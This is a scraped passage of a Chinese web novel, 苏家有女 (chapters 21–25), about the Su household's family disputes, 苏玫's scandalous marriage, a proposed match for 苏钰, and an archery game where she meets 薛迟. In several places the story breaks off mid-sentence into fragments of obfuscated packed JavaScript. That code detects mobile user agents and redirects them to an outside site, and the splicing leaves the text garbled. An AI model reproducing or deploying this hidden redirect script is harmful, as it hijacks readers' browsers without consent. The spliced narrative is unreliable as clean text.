现在儿子想争气,她高兴是高兴。但是搬到侯府去,离她那么远,她也没办法开心起来。 “母亲,你就答应我吧。”苏越撒娇说着。 洪婆子看关氏没作声,便笑着道:“搬家是大事,要收拾整理的东西颇多。眼下又要给老太爷和二老爷接风,总要等太太忙完这些,再说搬家之事。” 苏越觉得有道理,笑着道:“是我没体谅母亲,等母亲忙完了再给我张罗。” 关氏勉强笑着,依然没说话。 “姐姐去哪里了,母亲派人去寻了吗?”苏越好奇问着。 进门时就没看到苏玫,问屋里的丫头,丫头却是吱吱唔唔不敢说。 难道是苏玫做了错事,被重罚了? 关氏脸色顿时变了,刚才的喜悦一扫而空。 “要是姐姐做错事,惹您和父亲生气,我代她赔罪了。”苏越笑着说。 看着苏越笑着的脸,关氏既感慨儿子懂事了,又想到苏玫的未来,心中越发难过,好一会才道:“你姐姐出阁嫁人了。” “啊?”苏越惊讶,“怎么这么快?姐夫是何许人?” “是,勇毅侯府的……”关氏十分犹豫,却不得不说,“六爷,贺英。” “贺英??”苏越十分茫然,“贺英不是跟大姑娘定亲了吗。” 关氏不知道如何说,神情既尴尬又悲伤。 “唉,这是三姑娘命苦。”洪婆子见状便接口说着,眼泪跟着落了下来,“太太为这事难过了难许,四爷年龄小,许多事情不知道, 21.第 21 章 《苏家有女》全本免费阅读 苏钰起了个大早,只为等苏邑。 她与苏邑只差几个月,又从小养在一起,感情堪比亲姐弟。年龄大些后,苏钰满京城乱跑时,也总是拉上苏邑。 除了姐弟之情,苏邑也是苏钰最好的玩伴。 “阿钰,我进来了。” 不用小丫头招呼,苏邑说着,径自打帘子进屋。 十七岁的苏邑,身量己经长成,长年习武的关系,身材结实又匀称。长相五官与苏钰有几分相似,俊秀清逸。笑起来的时候,脸上仿佛带着阳光。 “总算来了,让我好等。”苏钰笑着说,“二婶和叶老太爷还好吗,我好久没去拜见。” “母亲还说起你呢,你与贺英的婚事就这么……三叔竟然把三姑娘嫁过去,到底是怎么想的。” 不用苏钰招呼,苏邑径自坐下来。 绿川奉茶上来,小丫头端来早就准备好的果品,全是苏邑喜欢吃的。 苏邑喜欢吃甜的,不管是高甜点心,还是高甜水果,全部都喜欢。 “能不能别提了,我头痛,到此为止。”苏钰连连摆手,随即指指果盘里的酥梨,“这是刚送进京城的贡品,我吃了一个,又脆又甜,都给你留着呢。” 苏邑也不客气,拿起吃了起来,道:“我一直觉得成不成亲没什么要紧的,不嫁贺英也挺好的。但若是不提一提,好像对你的关心不够似的。” 这就好像见面打招呼一样,随大溜。 大家都在关心某件事时,不管真实心情如何,都要口头表达一下。 “我们之间就不用这么客套了。”苏钰无奈说着,“我都快被烦死了。” 苏二老爷苏天华和叶氏吵闹了这些年,不管苏邑还是叶峰,对于成亲这件事虽然没有明确表现出排斥,但也没兴趣。 家里长辈的婚姻全是反面教材,小辈们对婚姻全都不太感冒。 “这个梨子很好吃。”苏邑轻松解完一个酥梨。 小丫头端水上来,侍侯苏邑洗手。 “我这里还有,一会你都带走。”苏钰说着,对绿川招招手,“看我给你准备了什么。” 绿川捧着琴盒过来,放到苏邑面前的桌子上。 “哇,是琴呢。”苏邑高兴起来,“什么琴?” 除了武艺之外,他最爱的就是琴艺。虽然被苏二老太爷苏震岳吐槽弹琴太娘,他依然十分喜欢。 “自己打开。”苏钰笑着说。 苏邑掀起盖子,眼晴立时就直了。赶紧拿出来,仔细品签一番,又试了试音,惊讶道:“这是太古遗音??” 前朝名琴,失传许久,没想到苏钰竟然找到了。 “好眼力。”苏钰笑着说,“这是多宝楼老板找到的,我听说后,就立即买下来了。” 苏邑细细抚摸着琴弦,“老板肯卖吗?这得多少钱啊?” 这样的绝世名琴,根本就不是钱能买到的。 “嘿嘿,我没问价格。”苏钰笑着,“我签单。” 只要在帐单上签下名字,东西就可以拿走。京城绝大多数的店,她都可以签单。 从来不曾用过,只有这次,为了苏邑破例。拿出签单特权。老板也许想拒绝,只是不敢。 “签单啊,那大哥……”苏邑没说下去。 苏钰签单,苏家大爷苏略付钱。只是这个帐单有点大,会不会被秋后算帐。打一顿他是不怕的,他怕琴被收走。 “管他呢,我拿都拿了。”苏钰笑着说,“你只管收着,大哥问起,有我呢。” 名琴可遇不可求,都不是钱多少的问题。苏邑想要把好琴想好久了,现在遇到了,她怎么也要拿到手。 “多谢,太谢谢了。”苏邑高兴说着,几乎想把苏钰抱起来转个圈。 苏钰笑着道:“你高兴就好。” “我也给你带来了好东西。”苏邑把琴放到一边,掏出一串手链。“这是我从南边带来的,很珍贵的。” 苏钰接过来,仔细看了看,做工很一般,好像是骨头做成的。十分圆润,应该是佩戴者经常抚摸的缘故。 “这手链好像是别人戴过的?”苏钰有些不解的说着。 南魏虽然巫术盛行,却是很繁华的国家。手工艺品做工精细不说,还有各种宝石镶嵌。 苏邑送她这个手链,好像是别人戴过的地摊货,到底哪里珍贵? “那得看戴的人是谁。”苏邑有几分小 22.第 22 章 按照原计划,苏二老太爷苏震岳和二老爷苏天华要后天下午才能回府。 要入朝面圣,整顿军务,一系列忙下来,怎么也得后天。 关氏把接风宴安排在后天晚饭时间,还下贴请了叶老太爷、叶氏和叶峰。 都不是外人,一起来吃顿便饭。 正式的接风宴安排在五天后,那就不止苏家人,关系近的亲朋好友都要请一请。 “四房那里,一定下贴子请,不能怠慢了。”关氏特意叮嘱着洪婆子。 苏玫抢了贺英,她许诺过给苏钰寻门好亲事,此时己有人选,也给对方父母透过话,现在就看苏钰和慕容宁的意思。 “太太放心,我记着呢。”洪婆子笑着说,又问,“那七房那里……” “七房啊……”关氏显得有几分犹豫。 七房的关倩倩今年十六岁,不管家世还是人才都配的上苏越。只是七房的太太,也就是关倩倩的亲妈太难缠。 而且到底要不要给苏越定这门亲事,关氏心里也没有底。 洪婆子笑着道:“只是普通的宴客而己,见面闲聊几句,多熟识些总是好的。” 关氏听得有理,多聊几句总没坏话,便笑着道:“那就都请了吧。” 主仆俩正商量着,婆子匆匆进门来报:“老太爷和二老爷回来了,请太太和三老爷知春堂说话。” “这么晚了……”关氏不禁说着,要不是商量宴客名单,她现在都要睡下了。 婆子不敢多说,只是低头道:“老太爷请太太一定要过去。” 关氏明白了,肯定是因为苏玫的亲事,不禁叹口气,道:“备车,我这就过去。” 苏震岳是个急脾气,这个时候还传她过去,她哪怕是睡下了也得起来去。 是祸躲不过,她去就是了。 洪婆子满脸焦急,很为关氏担忧,酸溜溜的道:“老太爷素来喜欢大姑娘,不大看的上我们三姑娘。” 这是事实,但凡苏震岳得了赏赐,都是苏钰先选。 别说苏玫了,就是几个男孙都比不了苏钰。 “别这么说,大姑娘的父母不在身边,老太爷多疼些也是平常。”关氏说着。 苏震岳对孙子辈的,差不多能一碗水端平,没有特别偏心。 苏玫的婚事,本就是三房欠了苏钰的。 洪婆子不敢再说,只是侍侯着关氏穿好外衣。 苏震岳住的知春堂在侯府前院,离关氏的住处十分遥远。关氏心知过去是挨骂,也并不着急,慢悠悠坐车过去。 等她坐车到了,苏天佑也是刚到。两人院门口撞上,相视一眼,却是各自进去。 “你们俩是不是脑子摔坏了!!”苏震岳直接骂了出来,“玫姐儿不懂事,你们也不懂事吗。苏家的女儿就这么贱,非得如此上赶着,把祖宗八辈的脸都丢尽了!” 小孩不懂事,行差踏错,长辈要是真为她好,就该打就打,该骂就骂。 而不是如此纵容她,为了一个男人,把老脸都丢尽了。 生平第一次,苏天佑对于苏震岳的指责没有反驳,而是低下头,道:“此事都是我的过错,教女不严致使她犯下大错,我无话可说,任凭家规处罚。” 说着苏天佑跪了下来,低头忏悔。 关氏不禁看一眼苏天佑,也跟着跪了下来。 夫妻俩如此一跪,苏震岳倒是愣住了。 父子俩杠了三十年,这是苏天佑第一次下跪低头。 “老三,你素来精明干练,为什么会做下如此糊涂之事!!”苏天华不禁说着。 男女之间也就那点破事,有什么大不了的。只要把苏钰和贺英的婚事退掉,苏玫另寻婆家,事情也就过去了。 现在把苏玫嫁给贺英,情况就完全不同,等于把屎吃了下去。 虽然时间久了,也能消化掉,但是这个过程极其恶心。 这个道理,苏天佑不可能不明白,为什么要这么做? “那个孽障,己有身孕……”苏天佑声音微颤,悲伤又绝望,“我与关氏商议过,落胎伤身,还有可能致使不孕。为了嫁贺英,那孽障己经疯魔,若是不如她意,只怕寻死觅活,性命堪忧。我总是她的父亲,不管如何,还是想她能活着。” 为人父母,没能教好苏玫致使她犯错,若是再因为这个错,要了她的命,或者造成重大伤害,他与关氏只怕夜不能寐,一生难安。 “都是我的错,没能教好玫姐儿。”关氏哭了出来,“请老太爷责罚。” 饶是苏震岳和苏天华武将出身,性情刚烈,此时都说不出话来。 苏天佑继续说着,“我保她性命,遂她心愿。为她丢尽家族脸面,己是我能做的极限。嫁出去的女儿,泼出去的水,自此之后苏家再无此女。” “唉……”苏天华一声叹息,不知道说什么好。 虽然叶峰和苏邑没让他闹心,但对于家务事如何闹心,他是深有体会。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12552123|132453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “起来吧,都是一家人,没什么罚不罚的。儿女都是债,当了父母,从来只有吃亏的。” 说着,苏天华伸手扶苏天佑起来,又对关氏道:“三太太,你也起来吧。” 苏天佑和关氏站起身来。 苏震岳叹口气,不像刚才那般暴怒,感伤说着:“说来说去,都是你们夫妻的错,若是把孩子教好管严了,哪里会惹出这等祸事。” 一直低着头的苏天佑突然抬起头来,直视苏震岳,嘴角冷笑,“呵,我倒是想管教她,奈何我少时也没有爹妈管教,并不知道如何教孩子。” “畜生,你说什么呢!”苏震岳顿时怒了。 苏天佑却是一点不怕,苏玫之事是他理亏,他认错认罚都是应该的。但是苏震岳有什么资格说教育孩子之类的话。 天下间最没有资格说这种话的就是苏震岳。 “我说错了吗,当年是谁无故休妻,一走了之。我从来没有享受过父母的教养,任何人都能指责我不教养孩子,就你没有!!”苏天佑怒声说着。 “老三!”苏天华怒斥着苏天佑,却是伸手拦住暴怒的苏震岳。 “我是你亲爹,你的命都是我给的。”苏震岳吼声震天,“我骂你怎么了,我还要打死你这个不孝子。” 说着就要冲上来,一巴掌拍死苏天佑。 苏天佑不跑也不躲,站在原地与苏震岳对骂,“好,你打死我。我就站在这里,你来打死我啊。” 父子局开始,只苦了苏天华。 他只能死死拦住苏震岳,免得苏震岳真的失手打伤了苏天佑。又对关氏连连使眼色,“快拉着老三走,快走啊。” 关氏虽与苏天佑不和,这个时候却不会不管。拉起苏天佑就走,一个人拉不动,又唤屋里的小厮,两个人一起,总算把苏天佑拉走了。 “叔叔,你也消消气。”苏天华累的满头汗,却只能劝慰着苏震岳。 苏震岳气的胸口发闷,眼冒金星,满心话语想说,却都说不出来。 “快倒茶来。”苏天华喊着。 苏震岳现在年龄还不大,再过几年,他真怕苏天佑把苏震岳气出病来。 喝了碗茶,苏震岳才算缓过气来。苏天华心累,也无力安慰苏震岳。 这都三十年了,靖武侯府建府也有十年了,父子之间依然如此,他也是无可奈何了。 无可奈何的事情也不止这一件,苏家的家务事不能深究,都是满头包。 23.第 23 章 父子大闹一场,自家的接风宴免了。 五天后的接风宴却不能免,这次大破南魏,龙心大悦,三军皆有赏赐,苏家的格外恩重。 下贴请的不提,只是送过来的拜贴以及贺礼,就堆满了侯府库房。 家有喜事,又要大宴宾客,苏钰早早起床准备。家里闷太久,总算有点乐子。 “姑娘今天就穿女装吧,自家宴客穿男装,总觉得哪里不太好。”绿川说着。 大周民风开放,大型宴会时,男女虽然不同席,但也不会严格的分在两处。大概就是,男客在左边,女客在右边,还可以串串场。 “今天要去箭亭骑马,女装太麻烦了。”苏钰说着,“快点,拿男装来。” 许久不见的好友,骑马喝酒,她要玩一整天。女装太麻烦,也不如男装行动自如。 绿川知道劝不住苏钰,只得拿来男装,侍侯更衣时忍不住道:“我听府里的婆子说,这回三太太请了不少宾客,太太小姐一大堆,姑娘总要去应酬一下。” “有什么好应酬的,这个时候过去,就是送上门被人评头论足兼说亲事。”苏钰说着,“我才没那个兴趣听。” 即使是高门大户的太太,对八卦的爱好仍然不会减少,当起媒婆来更是口灿莲花。 以前她有婚约在身,现在恢复单身。再加上被妹妹抢了亲事,如此有暴点的素材,绝对是人群的焦点。 再有叶峰和苏邑的婚事,尤其是叶峰,实在太抢手了,今天的宴会太太圈绝对媒婆风格。 惹不起,她还是赶紧躲吧。 绿川侍侯着穿着妥当,苏钰正欲出门去。院里传来苏邑笑着的声音,“阿钰,快出来,有客来访。” “谁啊?” 苏钰心中好奇,快步出门去,满是惊讶与欢喜,“你怎么来了?” 院中除了苏邑,还有一个少年,青春年少,样貌正好。与苏邑站在一处,却是丝毫不逊色。 正是苏钰的好友,关氏的娘家侄儿,关子烨。 “我怎么不能来了。”关子烨笑着说,“相识这么久了,还不曾到你屋里坐过客,不请我进去吗。” 英国公府来过无数次,但苏钰的闺房他还没进过。大周就是民风开放,男子进非血缘女子的闺房,仍然不大妥当。 就是这回,他能进到院里,也是苏邑跟着。不然,婆子早就把他叉出去了。 “快请进。”苏钰笑着说,却有几分好奇,“你今天怎么来这么早?” 宴席在中午,时侯还早。一般宾客都会晚些到,这么早过来,多半还有别的事。 “许久不见你,甚是想念,就与母亲早些过来了。”关子烨笑着说,“现在母亲正在三太太说话,我就跑过来找你。” “我听你鬼扯。”苏钰笑着说。 虽然都姓关,但关家是大家族,关氏与关子烨这一支并不是十分亲密。 要是只有关子烨一个来,还有可能是来找她的。还有母亲同行,那就肯定还有别的事。 小丫头打起帘子,三人进屋。 苏钰招呼着两人在堂屋坐下,绿川带着丫头倒茶。 关子烨不禁看去,进门是两间抱厦,左右设榻。 走过抱厦才是苏钰住的正房,五间正房十分宽敞。床榻设在西梢间,西次间是碧纱橱。 东侧两间为书房,却没有隔断。东侧墙上是书架,堆着满满的书,当中铺着花梨大理石大案。 北侧墙上却是挂着一张长弓,关子烨虽然对兵器没有研究,却能感觉到此弓非同一般。 “你会射箭?”关子烨突然问苏钰。 在他的印象里,苏钰就是个文弱书生。诗词很好,文学造诣很高,性格豪爽,是很好的玩伴与朋友。 苏钰听得笑了,道:“我当然会啊。” 也不想想她亲妈是谁,她不会射箭才奇怪吧。 “我从来没有见你射箭。”关子烨说着。 苏钰有几分得意的笑着,道:“那是怕打击你,见识了我的箭术,我担心你再也不敢说自己的骑射多了不得。” 关子烨虽然要走科举仕途的路子,却是文武双全,弓马骑射在京城贵公子里数一数二。 苏邑插嘴道:“若是关兄有兴趣,我们现在就去箭亭,把阿越也叫上,我们比一比。” “你这不是难为他吗,敢和你比的武将都不多。”苏钰笑着说,“不过箭亭我倒是想去,那里好玩些,比呆在屋里强。” 苏邑连连点头,屋里闷着多无聊,玩起来才好。 “呃……苏兄,你先去。”关子烨神情犹豫,回头看一眼苏钰,“我有事要与阿钰说。” 苏钰并不意外,对苏邑道:“你先去吧,我和子烨一会就到。” 关子烨是很懂分寸的人,要是没有大事,绝不会跑她闺房来。 “好,你们聊。”苏邑说着,转身去了。 苏钰挥手让丫头退下,这才对关子烨道:“说吧,到底有什么事?” “呃,呃,这个……”关子烨犹豫起来,一副难以启齿的模样。 苏钰不禁笑了,道:“你向来爽快,今天怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12571682|132453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么吱唔……” “你可愿嫁我为妻?” 关子烨突然说着,打断苏钰的话。 苏钰呆在当场,怔怔看着关子烨,“什么鬼,你这是吃错药了吗?” “不是的。”关子烨急忙辩解着,有些面红耳赤的说,“是三太太,你婶娘找到我母亲,问我家是否同意婚事?” 关氏亲自上门说的,他当时就在现场。 “啊??!”苏钰满脸惊诧,却有些回过神来。不禁看向关子烨,或者说重新审视。 她与关子烨是玩的太熟,仔细回想关子烨的条件,确实是京城公子哥里的翘楚,贺英甚至都差他一些。 关氏曾经说过,要给她另寻一门好亲事。若是关子烨,那关氏确实是挺用心的。 “我母亲己经答应了婚事。”关子烨着急说着。 听到关氏的话后,他就很着急,但这份着急,到底意味着什么,他自己也不是很明白。 “呃……”苏钰又是一愣。 仔细想想,似乎也不意外。纯粹以家世条件来说,京城能拒绝她的不多。 “所以我才来找你。”关子烨说着。 苏钰终于明白前因后果,道:“原来如此。” 关子烨突然来那么一句,真把她吓的不轻。 “那你……”是怎么想的。 后面的话,关子烨没有说出口。 苏钰笑着道:“你不用担心,我的婚事,我自己可以做主。再不行,还有我母亲呢。我会跟三太太说明白,拒绝掉婚事。” 在婚事上,关子烨不能自己做主。父母己经同意,不管娶谁他都不能拒绝。 这种情况下,想让亲事不继续,只能让她来拒绝。关氏只是婶娘,提出的意见只能参考,最终决定的还是她。 “噢……”关子烨长长吁口气,好似松口气,又好似有些失落。 苏钰不禁笑了,道:“怎么,你还真要娶我啊?” “我……”关子烨顿了一下,“只是觉得和你成亲,似乎也不错。” 至少在听到关太太的提议时,他并不排斥。 “噗~~”苏钰听得笑了。贺英也是这个态度,她能理解,拍拍关子烨的肩膀,道:“我觉得不好。不说这个,我们去箭亭找阿邑,我要闷死了,今天要玩一整天。” 在成亲这件事上,男人看的更开,或者说更不当回事。娶个媳妇而己,娶谁不是娶。彼此了解的朋友,还省得婚后撕逼打架。 至于男女情爱,妾室丫头,各种各样的女人,哪里找不到呢。 24.第 24 章 第二十四章 相遇 箭亭在后花园的西侧,占地广阔。除了马匹弓箭,十八般兵器齐全。平日里除了练习骑射外,也是苏家子弟的练功场,是后花园最热闹的一处。 苏钰带着关子烨走到之时,苏邑正在骑马射箭,旁边两个小厮牵着苏钰的“雪影”,以及另外一匹名驹,是给关子烨准备的。 “你们终于来了,我一个人好无聊。”苏邑说着,翻身下马走过来。 苏钰笑着道:“抱歉,让你久等了。” 说话间,苏钰从小厮手里接过自己的白马,向关子烨炫耀着,“没见过吧,这是我的心肝,‘雪影’。” 这是西北进贡贡品时,慕容宁的亲弟弟,苏钰的舅舅亲自挑选,和贡品一起运送过来,送给苏钰的礼物。 “果然是良驹。”关子烨赞叹着,“只这白色,通体雪白,就太难找了。” 他虽然对马匹不是太了解,但是好坏还是能看出来的。苏钰这匹,称的上绝代良驹了。别说世家公子没有,只怕皇子都寻不到。 苏钰笑着道:“我舅舅送的。” 只见过一次面的舅舅,她没什么印象。只是这匹马,她实在太喜欢了。 “原来如此,怪不得了。”关子烨喃喃自语说着。 西北本就是以马匹出名,西北王亲自挑选送给外甥女的,自然是名驹中的名驹。 “子烨兄不用眼热,我也给你准备了。”苏邑笑着说,指指另外一匹名驹,“这是战马,性子虽然烈了些,也是上等的了。” 打仗这些年,苏家主子骑的基本都是战马,性烈却凶猛。 “阿邑费心了。”关子烨笑着说,“这匹就很好。” 就在两个各自上马之时,苏邑的小厮匆匆跑过来,走到苏邑跟前说,“四爷正在三太太身边见客,只怕过不来了。” “三太太招呼的不是女客吗,阿越在那里做什么。”苏邑有几分失望说着。 虽然苏越的骑射还在学习阶段,但是旁边观摩也是学习的一部分。而且跟着他们一起骑马射箭,怎么也比在太太堆里强。 苏钰也有些奇怪,却是把话题岔开了,笑着道:“刚才说的,要比赛的,我倒是有个好主意。” 苏越这个年龄应该跟着他们玩,交结同龄的官家子弟,这样才能形成良好的交际圈。 扎在太太堆里,与女眷们结交,那是姑娘该做的事。 “你想怎么玩?”关子烨笑着问,苏钰的鬼主意向来是最多的。 “既然要比,肯定要分个胜负,只是射靶心没有意思。”苏钰说着,转头吩咐小厮,“抬箱苹果来,还有蒙眼的黑布,要三块。” 小厮赶紧过去,稍等片刻,两个小厮抬着一箱子苹果过来,三块蒙眼黑布也拿来了。 苏钰随手拿起一个苹果,向上抛起,随即接住,笑着道:“今天就玩这个。” 苏邑笑着道:“要蒙眼射苹果吗?” “是骑马蒙眼射飞着的苹果。”苏钰笑着解释,“我们三个人轮流来,一个人蒙眼骑马在院子里跑圈,跑动的时候,另外两个丢苹果。随便丢,只要不出箭亭范围即可,数量嘛,就二十个。骑马的人就射丢出去的苹果,马不准停下来,以最后射中的苹果数为准。注意,这个射中是指箭在苹果上插着,若是苹果碎了,裂成了几瓣,那是不算数的。” “有趣,这个玩法倒是能分出胜负来。”关子烨顿时来了兴致。 只是对着射红心,大家都能中,比不出什么来。苏钰这个提议,不但考了骑术,还有听力,以及对力道的掌控。 要求太多,标准越高,越容易分出胜负来。 苏邑马上道:“我第一个来。” “那我和子烨丢。”苏钰笑着说,又转头看向关子烨,“若是让他全中了,我们两个可就丢脸了。” 关子烨笑着拿起苹果,道:“梦里才能全中。” 苹果能丢多远,丢到那里去,考验的是臂力。两人同时丢,如何不让苏邑射到,考验的是默契。 小厮数出二十个苹果放到桌子上,苏邑骑在马上黑布蒙眼,手持长弓,己经做好准备。 “开始,跑。” 关子烨一声喝,苏邑骑马狂奔。 苏钰一点都不着急,拿起苹果在手里把玩着,对关子烨笑着道:“若是论真功夫,我和你加一起都不是阿邑的对手。” 苏邑的武功不是学出来的,是战场上打出来的。他十二岁就跟着苏天华随军,实战时间超过练习时间,功夫不但长进的快,杀伤力也更强。 “京城早有传闻,苏家二房有文武两个状元。阿邑的功夫,京城上下没一个不服的。”关子烨笑着说,却是突然喊了一声,“我开始丢了。” 说着作势要把苹果丢出去,手臂抡了一圈却是收了回来。就在这时,苏钰手中的苹果却是丢了出去,力道极大,直飞向东南角。 苏邑却是丝毫不受影响,拉弓射箭,直中苹果。 “这都骗不了你。”苏钰笑着说,“接着吧,苹果大军来了。” 说着苏钰拿起苹果,左右开弓,东西两边各丢一个。关子烨也不落后,两个人四个方向全面出击。 听声辩位,苏邑动作极其利落。人在马背之上,却是翻跳借位,两对一串二,四个苹果全部中箭。 “不错,不错。”苏钰笑着说。 关子烨也不禁赞叹,“苏家三爷,名不虚传。” 这样还能一串二,两串苹果直射果核,果肉却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12593092|132453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不碎。 “要是关兄现在就认输,我可以手下留情,一会不让你输的太难看。”苏邑笑着说。 关子烨笑着道:“接你的苹果吧。” 随即手中苹果丢出,苏钰跟上,却是与关子烨打起了时间差。 如此一番,二十个苹果丢完,二十中十八,成绩彪悍。 “竟然失手了,看来还要多练习。”苏邑自言自语说着。 关子烨真心赞叹,“苏兄果然是年轻一辈的翘楚。” 他与苏钰都没有放水,是真心实意想难为苏邑。就这样,苏邑还射中了十八个。 “接下来看我的。”苏钰说着,招手唤来“雪影”,拿起弓箭,系上黑布。 关子烨还是第一次见苏钰骑马,一身浅色衣裤,配上白马,格外英俊潇洒。 苏钰能在世家公子圈里混开,与她这份与生俱来的潇洒分不开。玩起来之后,很容易忘记她的性别。 “开始了。”苏钰说着,“雪影”狂奔而走,速度比苏邑刚才快多了,却极其稳当。 苏邑拿起苹果,笑着道:“我开始丢了。” “放马过来吧。”苏钰笑着说。 苏邑首先出手,关子烨却没动。他不知道苏钰实力如何,不敢像刚才对苏邑那样。 所谓的玩,也就是玩。不能太认真,苏邑是真高手,难为他无所谓。假高手就要放放水,不然比出来的结果差太多,那就不好玩了。 听声辩位,苏钰拉弓速度极快,配合着“雪影”的速度,苹果几乎是刚刚抛出就被射中。 “阿钰,你真是让我惊讶。”关子烨惊叹说着。 苏钰竟然有这等实力,他竟然还想着给她放水,实在太小瞧她了。 “这算什么,等我拿个全中。”苏钰笑着说。 论武艺她确实不是苏邑的对手,但若比射箭,京城武将能比过她的都不多。 关子烨笑着道:“来了哟。” 既然不用放水,那就玩真的。 苏钰大笑,“我还怕你不成……” 一语未完,关子烨手中的苹果直往北面丢去,那里正是箭亭的入口处,只是这个时候,没人会往这边来,至于下人们也早躲开了。 苹果抛出,苏钰立时拉弓,直追苹果而去。 “小心……” 苏邑大声惊呼着。 苏钰懵了一下,没有听到箭矢射中苹果的声音。箭身划破空气的独特声响却是中止了。 几乎是立时的,苏钰摘下蒙眼黑布。 正北方,箭亭入口之处,站着一个冷冽青年。英俊的面貌,高大的身材,沉稳而坚毅的气质,不动如山。 稍微有点尴尬的是,此时他左手箭矢,右手苹果。 25.第 25 章 第二十五章 宴席 苏钰懵在当场,直直看着眼前人。 她打小就被帅哥美男包围,单说五官长相,眼前这个男人并不是最出色的,谢无衣就比他好看。 但是眼前这个男人却给她一种安全感,就好像苏天翊给她的感觉,哪怕是天塌下来了,也能扛下来。 “薛大哥?”苏邑快步跑过去,焦急询问,“你没事吧。” 薛迟无声无息出现,别说骑在马上的苏钰,就连他都没有察觉到。 苏钰这才恍过神来,翻身下马,快步走过去,诚心致歉,“实在抱歉。” 她自觉耳力不错,没想到竟然翻车了。 “没事。”薛迟说着,声音冷洌而清澈。 苏邑接过薛迟手里的箭矢和苹果,转手递给小厮。 关子烨快步过来,恭敬拱手道:“薛大人。” 薛迟颔首示意,即没说话,也没有回礼。 “这位是?”苏钰问。 薛?薛迟吗? 苏邑笑着道:“这位是薛迟薛大人。” 说着又给薛迟介绍苏钰,“这是我姐姐苏钰。” “苏姑娘。”薛迟神情依然严肃,却是难得主动打招呼。 苏钰只觉得有些心慌,笑着道:“早闻薛大人大名,久仰。” 关子烨深知薛迟的脾性,笑着道:“薛大人来此,可有事情?” 薛迟不会正常聊天,或者说,不会与世家公子哥客套,懒得客套。 此时出现在这里,也绝不是来参加苏家的宴席的,定有别的事情。 薛迟看向苏邑,“我有事寻你。” “那我们书房说话。”苏邑赶紧说着,打起了十二万分精神。 “嗯。”薛迟点头。 苏邑看向关子烨,拱手道:“下次再比。” 苏钰笑着道:“你就去吧,我招呼他。” 苏邑带着薛迟去书房谈话,箭亭里只剩下苏钰和关子烨。 “他就是薛迟啊……”苏钰喃喃自语说着。 果然名不虚传,站在一起的瞬间,就把苏邑和关子烨压下去了。 虽然年龄与他们相仿,却给她一种长辈感。 “京城传奇。”关子烨说着,“我会认识他,还是跟叔公一起时。” 虽然是同龄人,但因为差距太大了,交际圈也完全不同。薛迟跟他们的长辈打交道,给他的感觉也更像是长辈。 “他武功很高。”苏钰说着,肯定比她高,不然她也不至于翻车。 关子烨笑着道:“不说他了,我们继续玩。” 苏钰却没有兴趣,薛迟好像把她的魂也一起带走了,笑着道:“就我们两个有什么意思,我们去湖边坐会,我有些口渴了。” “也好。”关子烨说着。 两人正欲往外走,就见关氏身边的洪婆子匆匆跑过来,看到苏钰却是大松口气,道:“大姑娘在这里呢,让我好找。” “有什么事?”苏钰问着。 洪婆子道:“宴席己经准备妥当,三太太请您过去,还有关家小爷,您也该过去了。” “行吧,那我们过去吧。”苏钰对关子烨说着。 洪婆子不禁道:“大姑娘还是先把衣服换了吧,这身妆扮不成提统。” 苏钰道:“我与子烨去男客那边,不用更衣。” “这如何使得……”洪婆子顿时着急起来,“您是姑娘,与男客同席岂不成了笑话。” “到底你是主子还是我是主子,使得使不得,是我说了算,不是你说了算。”苏钰沉下脸,“一个个登鼻子上脸,竟然管起我来了,还不快退下。” 洪婆子顿时愣在当场,她就是担心其他人说不动苏钰,才亲自跑过来的。没想到苏钰竟然不给她脸。 “何必跟一个下人置气,我们走吧。”关子烨笑着圆场。 这婆子也是太上脸了,他这个客人还在呢,就公然教育主子小姐。 “嗯。”苏钰应着,边走边对关子烨说,“估摸着苏玫会回来,我才不想与她撞上。” 太太团己经很可怕了,要是再与苏玫撞上,苏玫不尴尬,她都要尴尬死了。 关子烨笑着道:“若是一会遇上贺英,我肯定给你出气。” “我与贺英,你也知道的,本就没什么。”苏钰说着,“只是太尴尬了。” 关子烨道:“若是无意可以退婚,不退婚却背着未婚妻勾引未婚妻的妹妹,这种男人不管怎么算都是混帐。” 这是基本道义,贺英娶了苏玫后,己经被京城公子圈彻底开除。 “我估摸着他不会来。”苏钰说着,贺英贼着呢,才不会过来自找难堪。 关子烨和苏钰走了,只留下洪婆子一个,虽然没有旁人在,依然涨红了脸,尴尬又难看。原地站了一会,顺顺气只得往邀月楼了。 她是关氏的陪房,关氏虽然是三房媳妇,嫁进门之后就管家理事,连带着身边下人也跟着有脸。 以前有张婆子在,关氏跟前说不上话。现在张婆子跟着苏玫去了贺府,本以为自己要抖起来了,没想到被苏钰直接给了个没脸。 邀月楼是后花园最大的建筑群,这回摆宴也选在此地。宴席还未齐备,虽然关氏预备了小戏,但是太太们在一起,话都来不及说,也没什么人看戏。 